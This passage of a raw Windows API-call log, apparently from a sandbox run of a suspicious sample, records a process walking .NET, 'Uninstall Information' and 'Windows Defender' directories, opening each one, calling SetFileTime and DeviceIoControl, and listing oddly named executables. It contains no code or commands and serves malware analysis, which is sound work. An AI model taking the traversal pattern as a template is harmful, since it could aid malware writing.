dwReserved1=0x0, cFileName="System.Net.dll", cAlternateFileName="")) returned 1 [0089.568] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44fea48, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb44fea48, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb44fea48, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x8b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ServiceModel.Web.dll", cAlternateFileName="")) returned 1 [0089.568] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb662bd26, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb662bd26, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb662bd26, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Abstractions.dll", cAlternateFileName="")) returned 1 [0089.568] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6488e03, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb6488e03, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb6488e03, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.DynamicData.Design.dll", cAlternateFileName="")) returned 1 [0089.568] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb64d50c3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb64d50c3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb64d50c3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.DynamicData.dll", cAlternateFileName="")) returned 1 [0089.568] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6521384, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb6521384, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb6521384, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Entity.Design.dll", cAlternateFileName="")) returned 1 [0089.569] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6677fe6, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb6677fe6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb6677fe6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Entity.dll", cAlternateFileName="")) returned 1 [0089.569] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb65b9905, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb65b9905, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb65b9905, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x52000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Extensions.Design.dll", cAlternateFileName="")) returned 1 [0089.569] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb46a196b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb46a196b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb46c7acc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x138000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Extensions.dll", cAlternateFileName="")) returned 1 [0089.569] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6677fe6, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb6677fe6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb669e146, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Routing.dll", cAlternateFileName="")) returned 1 [0089.569] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e608f1c, ftCreationTime.dwHighDateTime=0x1c9ea10, ftLastAccessTime.dwLowDateTime=0x8e608f1c, ftLastAccessTime.dwHighDateTime=0x1c9ea10, ftLastWriteTime.dwLowDateTime=0x8e62f07c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Windows.Presentation.dll", cAlternateFileName="")) returned 1 [0089.569] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44d88e8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb44d88e8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb44fea48, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.WorkflowServices.dll", cAlternateFileName="")) returned 1 [0089.569] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb656d644, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb656d644, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb656d644, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Xml.Linq.dll", cAlternateFileName="")) returned 1 [0089.569] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb656d644, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb656d644, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb656d644, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Xml.Linq.dll", cAlternateFileName="")) returned 0 [0089.569] GetLastError () returned 0x12 [0089.569] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1314140) returned 1 [0089.569] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0089.569] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1313f30) returned 1 [0089.570] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1314038) returned 1 [0089.570] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9a23a69d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9a23a69d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0 [0089.570] GetLastError () returned 0x12 [0089.570] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1313d20) returned 1 [0089.570] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0089.570] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1313e28) returned 1 [0089.570] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0089.570] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Framework", cAlternateFileName="")) returned 0 [0089.570] GetLastError () returned 0x12 [0089.570] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef678) returned 1 [0089.570] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0089.571] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef348) returned 1 [0089.571] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.571] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="")) returned 0 [0089.571] GetLastError () returned 0x12 [0089.571] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0089.571] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0089.571] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0089.572] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0089.572] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x8907f814, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x9ff7a7f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ff7a7f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Uninstall Information", cAlternateFileName="")) returned 1 [0089.572] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0089.572] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Uninstall Information" (normalized: "c:\\program files (x86)\\uninstall information"), fInfoLevelId=0x0, lpFileInformation=0x119f678 | out: lpFileInformation=0x119f678*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x8907f814, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x9ff7a7f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ff7a7f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0089.572] CreateFileW (lpFileName="C:\\Program Files (x86)\\Uninstall Information" (normalized: "c:\\program files (x86)\\uninstall information"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0089.573] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119f6bc, lpLastWriteTime=0x119f6bc) returned 0 [0089.573] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x13334e0 [0089.573] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x13334e0, nOutBufferSize=0x4000, lpBytesReturned=0x119f714, lpOverlapped=0x0 | out: lpOutBuffer=0x13334e0, lpBytesReturned=0x119f714, lpOverlapped=0x0) returned 0 [0089.573] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13334e0) returned 1 [0089.573] NtClose (Handle=0x164) returned 0x0 [0089.574] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0089.574] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0089.574] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0089.574] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0089.574] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Uninstall Information\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e9080 [0089.574] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x8907f814, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x9ff7a7f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ff7a7f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.574] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6750a730, ftCreationTime.dwHighDateTime=0x1d59950, ftLastAccessTime.dwLowDateTime=0x8c5c97d0, ftLastAccessTime.dwHighDateTime=0x1d55ece, ftLastWriteTime.dwLowDateTime=0x8c5c97d0, ftLastWriteTime.dwHighDateTime=0x1d55ece, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="flashfxp.exe", cAlternateFileName="")) returned 1 [0089.574] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.575] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.575] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.575] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.575] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.576] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.576] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9379abb0, ftCreationTime.dwHighDateTime=0x1d56037, ftLastAccessTime.dwLowDateTime=0x2a4e6c0, ftLastAccessTime.dwHighDateTime=0x1d59f27, ftLastWriteTime.dwLowDateTime=0x2a4e6c0, ftLastWriteTime.dwHighDateTime=0x1d59f27, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="foxmailincmail.exe", cAlternateFileName="")) returned 1 [0089.576] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.576] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.576] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.577] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.577] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.577] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.577] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9379abb0, ftCreationTime.dwHighDateTime=0x1d56037, ftLastAccessTime.dwLowDateTime=0x2a4e6c0, ftLastAccessTime.dwHighDateTime=0x1d59f27, ftLastWriteTime.dwLowDateTime=0x2a4e6c0, ftLastWriteTime.dwHighDateTime=0x1d59f27, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="foxmailincmail.exe", cAlternateFileName="")) returned 0 [0089.577] GetLastError () returned 0x12 [0089.577] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Uninstall Information\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e90c0 [0089.577] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0089.577] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x8907f814, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x9ff7a7f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ff7a7f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.578] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6750a730, ftCreationTime.dwHighDateTime=0x1d59950, ftLastAccessTime.dwLowDateTime=0x8c5c97d0, ftLastAccessTime.dwHighDateTime=0x1d55ece, ftLastWriteTime.dwLowDateTime=0x8c5c97d0, ftLastWriteTime.dwHighDateTime=0x1d55ece, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="flashfxp.exe", cAlternateFileName="")) returned 1 [0089.578] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9379abb0, ftCreationTime.dwHighDateTime=0x1d56037, ftLastAccessTime.dwLowDateTime=0x2a4e6c0, ftLastAccessTime.dwHighDateTime=0x1d59f27, ftLastWriteTime.dwLowDateTime=0x2a4e6c0, ftLastWriteTime.dwHighDateTime=0x1d59f27, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="foxmailincmail.exe", cAlternateFileName="")) returned 1 [0089.578] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9379abb0, ftCreationTime.dwHighDateTime=0x1d56037, ftLastAccessTime.dwLowDateTime=0x2a4e6c0, ftLastAccessTime.dwHighDateTime=0x1d59f27, ftLastWriteTime.dwLowDateTime=0x2a4e6c0, ftLastWriteTime.dwHighDateTime=0x1d59f27, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="foxmailincmail.exe", cAlternateFileName="")) returned 0 [0089.578] GetLastError () returned 0x12 [0089.578] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0089.578] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0089.578] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0089.579] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0089.579] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9ffa0950, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ffa0950, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="")) returned 1 [0089.579] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0089.579] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Defender" (normalized: "c:\\program files (x86)\\windows defender"), fInfoLevelId=0x0, lpFileInformation=0x119f678 | out: lpFileInformation=0x119f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9ffa0950, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ffa0950, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0089.579] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Defender" (normalized: "c:\\program files (x86)\\windows defender"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0089.579] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119f6bc, lpLastWriteTime=0x119f6bc) returned 0 [0089.579] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x13334e0 [0089.580] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x13334e0, nOutBufferSize=0x4000, lpBytesReturned=0x119f714, lpOverlapped=0x0 | out: lpOutBuffer=0x13334e0, lpBytesReturned=0x119f714, lpOverlapped=0x0) returned 0 [0089.580] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13334e0) returned 1 [0089.580] NtClose (Handle=0x178) returned 0x0 [0089.580] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0089.580] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0089.581] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0089.581] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0089.581] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Defender\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e90c0 [0089.581] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9ffa0950, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ffa0950, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.581] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22bdbd7c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0089.581] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcc1c145, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xdcc1c145, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x9ab7c5c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpAsDesc.dll", cAlternateFileName="")) returned 1 [0089.581] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.582] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.582] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.582] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.582] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.583] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.583] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7732a07, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe7732a07, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x9ab7c5c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5fe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpClient.dll", cAlternateFileName="")) returned 1 [0089.583] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde9910bf, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xde9910bf, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x9ac13ba0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xd600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpOAV.dll", cAlternateFileName="")) returned 1 [0089.583] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdbe6c321, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xdbe6c321, 